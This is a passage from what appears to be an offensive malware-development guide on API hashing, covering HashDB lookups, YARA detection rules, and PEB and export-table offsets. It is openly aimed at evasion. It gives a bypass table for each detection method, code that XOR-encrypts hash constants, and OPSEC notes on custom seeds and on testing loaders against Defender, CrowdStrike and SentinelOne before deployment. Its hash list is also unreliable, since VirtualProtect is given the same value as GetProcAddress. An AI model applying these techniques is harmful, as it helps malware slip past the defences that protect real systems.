for entry in pe.DIRECTORY_ENTRY_IMPORT:
dll = entry.dll.decode()
print(f" {dll}:")
for imp in entry.imports:
name = imp.name.decode() if imp.name else f"Ordinal {imp.ordinal}"
flag = " ← SUSPICIOUS" if name in suspicious else ""
print(f" {name}{flag}")
if __name__ == "__main__":
check_imports(sys.argv[1] if len(sys.argv) > 1 else "loader.exe")
16. Tool Reference (HashDB, IDA, Ghidra)
What it means: These are the primary analyst-side tools for identifying and reversing API hashing in malware. Understanding what defenders use helps offensive operators build hashing that evades these tools.
16.1 HashDB — OALabs (Analyst Tool)
[TOOL] HashDB is the authoritative API hash lookup service. It maps known hash values back to Windows API names across dozens of known algorithms.
# HashDB — https://hashdb.openanalysis.net/
# GitHub: https://github.com/OALabs/hashdb
# API usage: look up any hash value
curl "https://hashdb.openanalysis.net/hash/0xe553a458"
# Response:
# {
# "algorithms": ["ror13_add"],
# "matches": [{ "api": "VirtualAlloc", "module": "kernel32.dll" }]
# }
# Python client usage:
pip install requests
import requests
def hashdb_lookup(hash_value: int, algorithm: str = "ror13_add") -> dict:
url = f"https://hashdb.openanalysis.net/hash/{hex(hash_value)}"
resp = requests.get(url)
return resp.json() if resp.status_code == 200 else {}
result = hashdb_lookup(0xE553A458)
print(result)
IDA Pro — HashDB Plugin:
# Install HashDB IDA plugin:
# https://github.com/OALabs/hashdb-ida
# Installation:
# 1. Download hashdb_ida.py
# 2. Copy to IDA plugins directory: %APPDATA%\Hex-Rays\IDA Pro\plugins\
# 3. Restart IDA Pro
# Usage in IDA:
# Right-click on a hash constant → "HashDB Lookup"
# Plugin automatically identifies algorithm and renames constant to API name
# Bulk lookup — select multiple constants:
# Edit → Plugins → HashDB → Bulk Lookup
Ghidra — HashDB Plugin:
# HashDB Ghidra plugin:
# https://github.com/OALabs/hashdb-ghidra
# Usage:
# Script Manager → Run HashDB script
# Highlight constant → right-click → HashDB Lookup
16.2 Defeating HashDB — Custom Seeds
HashDB lookup FAILS when:
1. You use a non-standard seed value (DJB2_SEED = 0xDEADBEEF vs standard 5381)
2. You use a modified algorithm (ROR7 instead of ROR13)
3. You use a novel composite algorithm (hash1 XOR hash2)
4. You include DLL name in hash calculation in a unique way
5. You use per-build random seeds via __TIME__ macros
HashDB lookup SUCCEEDS when:
1. You use standard ROR13 (Metasploit default)
2. You use unmodified FNV-1a or DJB2 with default seeds
3. Your algorithm is submitted to the HashDB repository
[OPSEC] The single most effective evasion against HashDB: custom seed value.
A $10 change: 5381 → 0xDEADBEEF makes all DJB2 hashes unresolvable
by HashDB without knowing your seed.
16.3 Analysis Commands (Blue Team Perspective)
# 1. Strings — look for embedded function names (bypassed by hashing)
strings -n 6 malware.exe | grep -iE "virtual|create|thread|process|alloc"
# 2. PE analysis — check for empty or minimal IAT
pe-bear malware.exe # GUI: inspect Import Table
cff-explorer malware.exe # GUI: check imported functions
dumpbin /imports malware.exe # CLI: list all imports
# 3. Capa — capability detection (detects hash-based resolution patterns)
pip install capa
capa malware.exe
# Output: "resolve API calls", "hash function names", "walk process heap"
# 4. CAPA rule for PEB walking (often precedes hash-based resolution):
# rule: walk the module list
# features:
# - api: ReadProcessMemory
# - bytes: 64 A1 60 00 00 00 (mov rax, gs:[0x60])
# - bytes: 65 48 8B 04 25 60 00 (mov rax, gs:0x60)
# 5. HashDB bulk hunt in IDA/Ghidra
# After loading binary: identify integer constants → submit to HashDB
17. Detection & Evasion
17.1 What Defenders Look For
[DETECT] Static Signatures:
├─ ROR13 instruction: ror eax, 0x0D (YARA: { C1 C8 0D })
├─ PEB access: mov rax, gs:[60h] (YARA: { 65 48 8B 04 25 60 00 00 00 })
├─ Known hash constants (0x0726774C = ROR13 "LoadLibraryA")
├─ Export directory parsing patterns
└─ DJB2 seed 5381 (0x1505) in binary
[DETECT] Behavioral / Dynamic:
├─ Process calls functions not in its IAT (ETW telemetry)
├─ Unusual access to PEB.Ldr at startup
├─ Enumeration of all exports from kernel32/ntdll
├─ Memory-mapped reads of DLL export tables
└─ Syscall or API calls immediately after export walk
[DETECT] YARA Rules (Common):
rule detect_ror13_api_hashing {
strings:
$peb_x64 = { 65 48 8B 04 25 60 00 00 00 } // mov rax, gs:[60h]
$ror13 = { C1 C8 0D } // ror eax, 0x0D
$ror13b = { D1 C8 } // ror eax, 1 (multi)
condition:
$peb_x64 and $ror13
}
17.2 Evasion Techniques
| Detection Method | Bypass |
|---|---|
YARA: ror eax, 0x0D |
Use ROR7 or ROR11 — change rotation bits |
YARA: gs:[0x60] |
Indirectly read PEB via NtCurrentTeb() or via another struct |
| HashDB lookup | Use custom seed or custom algorithm |
| Standard DJB2 seed | Change seed: 5381 → 0xDEADBEEF |
| Behavioral: API not in IAT | Add decoy imports; use call-timing tricks |
| ETW hook detection | Use indirect syscalls after hash resolution |
| Emulator: export enumeration | Add delay/junk loops before EAT walk |
| Memory scanner: raw hash list | Encrypt the hash table XOR a runtime key |
17.3 Advanced Evasion — Encrypted Hash Table
// encrypted_hashes.h — Don't store hashes plaintext — XOR encrypt them
// Defender sees encrypted blob, not recognizable hash constants
#define HASH_KEY 0xA5B4C3D2u // Runtime key — derive from env/time
// Encrypted at compile time, decrypted at runtime
// Python: print(hex(0xE553A458 ^ 0xA5B4C3D2)) → 0x40E7772A
#define ENC_HASH_VirtualAlloc 0x40E7772Au // 0xE553A458 ^ HASH_KEY
#define ENC_HASH_CreateThread 0xDB6634EBu // 0x7802F749 ^ HASH_KEY
// Decrypt before use
static inline uint32_t decrypt_hash(uint32_t enc) {
return enc ^ HASH_KEY; // XOR with key at runtime
}
// Usage:
// FARPROC f = resolve(decrypt_hash(ENC_HASH_VirtualAlloc));
// → Defenders see 0x40E7772A, which means nothing without HASH_KEY
18. Comparison Matrix
| Algorithm | Speed | Collision Resistance | Code Size | Detection Risk | Custom Seed? | Used By |
|---|---|---|---|---|---|---|
| ROR13 | Fast | Low | Tiny (ASM) | HIGH (known YARA) | Rotation only | Metasploit, Cobalt Strike |
| DJB2 | Fast | Medium | Small | Medium (known HashDB) | ✅ Easy | GuLoader, Hell's Gate |
| FNV-1a | Fast | High | Small | Medium (in HashDB) | ✅ Easy | TONESHELL, modern loaders |
| CRC32 | Medium | High | Larger | Medium | Polynomial | GuLoader, PE tools |
| Custom | Varies | Varies | Medium | LOW (unknown algo) | ✅ Built-in | Custom malware |
| Double Hash | Slower | Very High | Larger | LOW (unknown combo) | ✅✅ | Advanced loaders |
19. Cheat Sheet
Quick Commands
# Compute ROR13 hash for any API (Python one-liner)
python3 -c "
name='VirtualAlloc'; h=0
for b in (name+'\x00').encode():
h=((h>>13)|(h<<19))&0xFFFFFFFF; h=(h+b)&0xFFFFFFFF
print(f'ROR13(\"{name}\") = 0x{h:08X}')
"
# Compute DJB2 hash
python3 -c "
name='VirtualAlloc'; h=5381
for b in name.encode(): h=((h<<5)+h+b)&0xFFFFFFFF
print(f'DJB2(\"{name}\") = 0x{h:08X}')
"
# Compute FNV-1a hash
python3 -c "
name='VirtualAlloc'; h=0x811C9DC5
for b in name.encode(): h=((h^b)*0x01000193)&0xFFFFFFFF
print(f'FNV-1a(\"{name}\") = 0x{h:08X}')
"
# Look up a hash in HashDB
curl "https://hashdb.openanalysis.net/hash/0xe553a458"
# Check IAT of a binary (PowerShell)
dumpbin /imports loader.exe | Select-String "Virtual|Create|Thread|Alloc"
# Extract constants from binary for HashDB submission
python3 -c "
import pefile
pe = pefile.PE('malware.exe')
# Extract .data section for potential hash constants
for s in pe.sections:
if b'.data' in s.Name:
data = s.get_data()
for i in range(0, len(data)-3, 4):
val = int.from_bytes(data[i:i+4], 'little')
if 0x01000000 < val < 0xFFFFFFFF:
print(f' 0x{val:08X}')
"
Key Offsets Reference (x64)
PEB Access:
GS:[0x60] = PEB pointer
PEB+0x18 = PEB.Ldr (PEB_LDR_DATA*)
Ldr+0x20 = InLoadOrderModuleList.Flink (first LDR_DATA_TABLE_ENTRY*)
LDR_DATA_TABLE_ENTRY (per entry):
+0x00 = InLoadOrderLinks.Flink (next entry pointer)
+0x10 = DllBase (module base address)
+0x30 = BaseDllName (UNICODE_STRING)
.Buffer = wchar_t* to short name
Export Directory (IMAGE_EXPORT_DIRECTORY):
+0x18 = NumberOfNames
+0x1C = AddressOfFunctions (RVA)
+0x20 = AddressOfNames (RVA)
+0x24 = AddressOfNameOrdinals (RVA)
NT Headers (PE32+):
+0x3C from DOS = e_lfanew (NT header offset)
NT+0x88 = DataDirectory[0].VirtualAddress (Export RVA)
Known Hash Values (ROR13, No Module Prefix)
API Name ROR13 Hash
─────────────────────────────────────────
LoadLibraryA 0x0726774C
GetProcAddress 0x7C0DFCAA
VirtualAlloc 0xE553A458
VirtualProtect 0x7C0DFCAA
CreateThread 0x7802F749
WriteProcessMemory 0x9DBD95A6
OpenProcess 0x0A2A1DE4
CloseHandle 0x528796C6
WaitForSingleObject 0x601D8708
NtAllocateVirtualMemory 0x55EE99DE
NtCreateThreadEx 0xAF18C2E8
LoadLibraryA (for bootstrap) 0x0726774C ← Most critical to resolve first
[OPSEC] Final Notes:
- Always use a custom seed — standard seeds are in HashDB
- Change rotation bits away from 13 — it's a known detection marker
- Encrypt your hash table with an XOR key derived at runtime
- Combine with indirect syscalls for maximum IAT cleanliness
- Test against Defender, CrowdStrike, and SentinelOne before deployment
- Use capa on your own binary to verify no hash-resolution patterns are flagged
- [TOOL] Test binary cleanliness: strings loader.exe | grep -E "Virtual|Create|Thread|Write"